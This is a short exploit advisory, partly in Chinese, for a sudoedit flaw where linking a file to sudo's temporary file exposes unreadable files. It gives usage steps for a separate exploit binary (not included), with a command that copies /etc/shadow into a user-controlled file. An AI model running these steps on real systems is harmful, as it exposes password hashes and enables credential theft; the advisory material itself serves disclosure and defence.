How do I use this code ?

To exploit sudoedit you have to open with it the
file "rosiello" as shown in the example.


1) Open two shells (i) and (ii);
2) (i)$sudoedit rosiello;
3) (ii)$./sudoedit-exploit /etc/shadow;
4) (i) close sudoedit.

The file "rosiello" is now a copy of "/etc/shadow".

Loss of Confidentiality
Exploit Public

- 漏洞描述

Sudo contains a flaw that may lead to an unauthorized information disclosure. The issue is triggered when a malicious user links an arbitrary file to sudo's temporary file and calls the -u option (sudoedit) resulting in read access to the linked file, which will disclose information normally unreadable resulting in a loss of confidentiality.
